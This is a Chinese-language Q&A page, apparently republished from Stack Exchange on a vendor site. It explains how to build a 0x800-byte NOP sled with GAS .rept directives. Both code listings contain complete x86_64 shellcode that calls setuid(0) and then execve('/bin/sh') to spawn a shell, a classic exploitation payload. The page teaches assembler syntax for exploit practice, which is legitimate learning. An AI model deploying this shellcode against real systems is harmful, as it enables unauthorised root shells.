You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在汇编Shellcode中用NOP Sled填充0x800大小的0x90空字节?

实现0x800大小NOP Sled的汇编写法

核心说明

x86_64架构下的nop指令对应单字节机器码0x90,所以要生成0x800字节的NOP Sled,需要生成0x800个nop指令(总字节数正好为0x800)。以下是针对GAS汇编器的实现方案:

方法1:使用.rept重复伪指令(推荐)

直接用GAS的.rept和.endr伪指令批量生成NOP,替换原代码中的单独nop行即可:

.global _start

_start: 
.intel_syntax noprefix
        .rept 0x800  ; 重复执行后续代码0x800次
        nop          ; 每次生成一个单字节0x90的NOP指令
        .endr
    mov rax, 0x69       ; setuid 
    mov rdi, 0
    syscall 
    
    mov rax, 0x3b       ; execve
    lea rdi, [rip+filename]
    mov rsi, 0
    mov rdx, 0
    syscall 

filename:
    .string "/bin/sh"

方法2:直接批量定义0x90字节

如果想直接指定机器码,也可以用.byte配合.rept生成,效果和nop完全一致:

.global _start

_start: 
.intel_syntax noprefix
        .rept 0x800
        .byte 0x90  ; 直接定义单字节0x90
        .endr
    mov rax, 0x69       ; setuid 
    mov rdi, 0
    syscall 
    
    mov rax, 0x3b       ; execve
    lea rdi, [rip+filename]
    mov rsi, 0
    mov rdx, 0
    syscall 

filename:
    .string "/bin/sh"

补充说明

如果使用NASM汇编器(而非GAS),语法会更简洁,直接用times 0x800 nop即可实现相同效果,但你的代码采用GAS语法,所以优先使用上述.rept方案。

内容的提问来源于stack exchange,提问作者Noob Pwn

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.20 19:37:15